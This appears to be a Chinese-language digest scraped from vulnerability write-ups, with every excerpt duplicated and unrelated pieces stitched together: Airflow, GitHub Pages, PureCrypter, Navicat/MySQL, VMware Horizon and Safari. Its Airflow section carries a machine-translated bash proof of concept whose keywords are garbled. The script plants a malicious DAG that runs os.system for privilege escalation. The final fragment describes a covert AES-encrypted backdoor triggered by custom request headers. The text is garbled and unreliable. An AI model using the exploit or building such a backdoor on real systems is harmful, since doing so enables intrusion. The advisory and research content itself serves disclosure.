对ZDI公布的InfraSuite Device Master一揽子漏洞的分析
看到zdi发了一堆洞,有反序列化、目录穿越、权限绕过等等,还是dotnet的,于是有了此文
这个漏洞在3100和3110端口
从TCP服务器到业务处理的逻辑如下
StartGatewayOperation中设置了网关服务的一些配置
看到zdi发了一堆洞,有反序列化、目录穿越、权限绕过等等,还是dotnet的,于是有了此文
这个漏洞在3100和3110端口
从TCP服务器到业务处理的逻辑如下
StartGatewayOperation中设置了网关服务的一些配置
Apache Airflow 2.3.4 之前的版本中有多个组件的守护进程 umask 不安全,为 0,导致关键文件和目录可以被所有人写入。因此,任何本地用户都可以推断 Airflow 处理特制的输入,并最终对执行 Airflow 的用户执行特权升级。特别是调度程序组件很容易被利用。
概念验证
以下攻击针对 Apache Airflow 的演示安装(airflow scheduler使用该标志运行时--daemon):
当 Airflow 调度程序重新启动时,会触发注入的 DAG 有效负载(代码执行)。这个简单的 PoC 可执行完整的任意代码执行,但也存在通过自定义 DAG 获得控制权的其他方法。
影响
权限提升:丧失机密性、完整性和可用性
概念验证
以下攻击针对 Apache Airflow 的演示安装(airflow scheduler使用该标志运行时--daemon):
/bin/bash #!/bin/bash
目标=/home/airflow
umask 0
cd $TARGET/logs/scheduler/latest/native_dags/example_dags
rm example_bash_operator.py.log
ln -s $TARGET/dags/poc.py example_bash_operator.py.log
直到[ -f $TARGET/dags/poc.py ]
做
睡眠 1
完毕
rm example_bash_operator.py.log
(cat<<'EOF'
导入操作系统
os.system("id >>/tmp/pwned")
从气流导入 DAG
末梢血
)> $TARGET/dags/poc.py
当 Airflow 调度程序重新启动时,会触发注入的 DAG 有效负载(代码执行)。这个简单的 PoC 可执行完整的任意代码执行,但也存在通过自定义 DAG 获得控制权的其他方法。
影响
权限提升:丧失机密性、完整性和可用性
GitHub Pages 构建管道中的命令注入
GitHub 页面
GitHub Pages是一种静态内容托管服务。它允许用户在或自定义域上托管其存储库的内容username.github.io。它广泛用于托管简单的静态页面,例如文档和博客(例如,此博客托管在 GitHub Pages 上)。
为了帮助用户托管美观的内容,GitHub Pages 支持静态站点生成器平台Jekyll。使用 Jekyll,您不必为博客编写 HTML 和 CSS,但您可以编写 Markdown,Jekyll 会将其转换为 HTML 文件。为了更轻松地在整个网站上应用相同的模板和样式,Jekyll 支持主题。
Jekyll 站点的所有设置(例如主题)都存储在 YAML 配置文件中。GitHub Pages 自动执行 Jekyll 设置的部分工作(包括设置某些设置)。
顾名思义,这将自动执行选择 Jekyll 主题的过程。
此 URL 有三个参数:
select是当前选定的主题(如果已经选择了主题)。
source是分支设置中选择的分支。
source_dir是分支设置中选择的目录。
如果我们点击更改主题按钮,我们将进入一个新网页,其中显示多个 Jekyll 主题的预览
但是如果我们在主题选择器 URL 中指定另一个目录会发生什么?事实证明,这是可以接受的行为,GitHub 将使用我们提供的任何目录名称作为源。例如,如果我们使用一个深奥的目录名称,如source_dir=/"test" test test>,GitHub 将在中创建一个基本的 Jekyll 设置/"test" test test>
GitHub 页面
GitHub Pages是一种静态内容托管服务。它允许用户在或自定义域上托管其存储库的内容username.github.io。它广泛用于托管简单的静态页面,例如文档和博客(例如,此博客托管在 GitHub Pages 上)。
为了帮助用户托管美观的内容,GitHub Pages 支持静态站点生成器平台Jekyll。使用 Jekyll,您不必为博客编写 HTML 和 CSS,但您可以编写 Markdown,Jekyll 会将其转换为 HTML 文件。为了更轻松地在整个网站上应用相同的模板和样式,Jekyll 支持主题。
Jekyll 站点的所有设置(例如主题)都存储在 YAML 配置文件中。GitHub Pages 自动执行 Jekyll 设置的部分工作(包括设置某些设置)。
顾名思义,这将自动执行选择 Jekyll 主题的过程。
此 URL 有三个参数:
select是当前选定的主题(如果已经选择了主题)。
source是分支设置中选择的分支。
source_dir是分支设置中选择的目录。
如果我们点击更改主题按钮,我们将进入一个新网页,其中显示多个 Jekyll 主题的预览
但是如果我们在主题选择器 URL 中指定另一个目录会发生什么?事实证明,这是可以接受的行为,GitHub 将使用我们提供的任何目录名称作为源。例如,如果我们使用一个深奥的目录名称,如source_dir=/"test" test test>,GitHub 将在中创建一个基本的 Jekyll 设置/"test" test test>
C2分析
这个C2在我们检测到的C2中活跃度比较高,其活跃时间为今年4月中旬到6月初,其活跃程度可以用我们的图系统直观反映出来
能看到它关联到了比较多的域名和IP,下面是该IP在这段时间的部分域名解析情况
传播分析
PureCrypter采用了downloader+injector的双模块机制,前者被传播后再传播后者,相当于在传播链条上增加了一环,加上作者惯用图片名后缀、编码传输等手段隐藏injector,这些本身就已足够复杂。而作者在downloader传播这块也下了不少功夫,我们看到的有通过bat2exe捆绑破解软件的方式、使用VBS和powershell脚本loader的方式、结合Godzilla前置loader等多种方式,这些操作叠加起来的结果就是PureCrypter的传播链条普遍较深较复杂。在5月份我们甚至发现通过PureCrypter传播Raccoon,后者进一步传播Azorult、Remcos、PureMiner、PureClipper的案例
这个C2在我们检测到的C2中活跃度比较高,其活跃时间为今年4月中旬到6月初,其活跃程度可以用我们的图系统直观反映出来
能看到它关联到了比较多的域名和IP,下面是该IP在这段时间的部分域名解析情况
传播分析
PureCrypter采用了downloader+injector的双模块机制,前者被传播后再传播后者,相当于在传播链条上增加了一环,加上作者惯用图片名后缀、编码传输等手段隐藏injector,这些本身就已足够复杂。而作者在downloader传播这块也下了不少功夫,我们看到的有通过bat2exe捆绑破解软件的方式、使用VBS和powershell脚本loader的方式、结合Godzilla前置loader等多种方式,这些操作叠加起来的结果就是PureCrypter的传播链条普遍较深较复杂。在5月份我们甚至发现通过PureCrypter传播Raccoon,后者进一步传播Azorult、Remcos、PureMiner、PureClipper的案例
Navicat登录认证分析
本文以Navicat16 试用版为例进行分析,登录流程与上述分析相差不多,在登录认证成功之后多了一个查询的操作
MySQL服务端可以利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。
load data infile语句从一个文本文件中以很高的速度读入一个表中。
首先在本地使用phpstudy开启数据库,并且使用Navicat进行连接
本文以Navicat16 试用版为例进行分析,登录流程与上述分析相差不多,在登录认证成功之后多了一个查询的操作
MySQL服务端可以利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。
load data infile语句从一个文本文件中以很高的速度读入一个表中。
首先在本地使用phpstudy开启数据库,并且使用Navicat进行连接
DBConnectionCheckController dbCheck JDBC 注入远程代码执行漏洞
publishCaCert 和 gatherConfig 权限提升
以 Horizon 用户身份获得远程代码执行后,我们可以利用以下漏洞获得 root 访问权限。本节包含两个错误,但由于我在最终的漏洞利用链中滥用了它们,我决定将其报告为单个漏洞。
该publishCaCert.hzn脚本允许攻击者泄露敏感文件。
该gatherConfig.hzn脚本允许攻击者获取敏感文件的所有权,Horizon 用户可以使用 sudo 以 root 权限执行这些脚本,无需密码。horizon 用户无法写入这些脚本,因此我审核了这些脚本以查找逻辑问题,从而干净利落地升级。
publishCaCert 和 gatherConfig 权限提升
以 Horizon 用户身份获得远程代码执行后,我们可以利用以下漏洞获得 root 访问权限。本节包含两个错误,但由于我在最终的漏洞利用链中滥用了它们,我决定将其报告为单个漏洞。
该publishCaCert.hzn脚本允许攻击者泄露敏感文件。
该gatherConfig.hzn脚本允许攻击者获取敏感文件的所有权,Horizon 用户可以使用 sudo 以 root 权限执行这些脚本,无需密码。horizon 用户无法写入这些脚本,因此我审核了这些脚本以查找逻辑问题,从而干净利落地升级。
❤1
SSD 咨询 – APPLE SAFARI IDN URL 欺骗
总结
Apple Safari 处理不当,导致攻击者可以使用某些相似的字符代替真实字符,从而让受害者误以为他们已经访问了某个网站,而实际上他们正在访问另一个网站。
漏洞摘要
Apple Safari IDN 处理中存在一个漏洞,允许攻击者执行 URL 欺骗,因为 Safari 不会将 URL 栏中的不适当的 Unicode 转换为 Punycode。
利用此漏洞可能允许攻击者进行网络钓鱼。
信用
来自韩国 SSD Labs 的安全研究员 Dohyun Lee 已将此事报告给 SSD 安全披露计划。
受影响的版本
iOS 15.6 或 iPadOS 15.6 之前
蒙特利 12.5 之前
watchOS 8.7 之前
tvOS 15.6 之前
总结
Apple Safari 处理不当,导致攻击者可以使用某些相似的字符代替真实字符,从而让受害者误以为他们已经访问了某个网站,而实际上他们正在访问另一个网站。
漏洞摘要
Apple Safari IDN 处理中存在一个漏洞,允许攻击者执行 URL 欺骗,因为 Safari 不会将 URL 栏中的不适当的 Unicode 转换为 Punycode。
利用此漏洞可能允许攻击者进行网络钓鱼。
信用
来自韩国 SSD Labs 的安全研究员 Dohyun Lee 已将此事报告给 SSD 安全披露计划。
受影响的版本
iOS 15.6 或 iPadOS 15.6 之前
蒙特利 12.5 之前
watchOS 8.7 之前
tvOS 15.6 之前
Final
为通信的隐蔽性,最后做了一下AES加密:
最终实现的效果为,若检测到request请求中包含我们自定义的header头则会执行相关恶意操作,并在response的自定义header中返回,否则则为正常业务流量
为通信的隐蔽性,最后做了一下AES加密:
最终实现的效果为,若检测到request请求中包含我们自定义的header头则会执行相关恶意操作,并在response的自定义header中返回,否则则为正常业务流量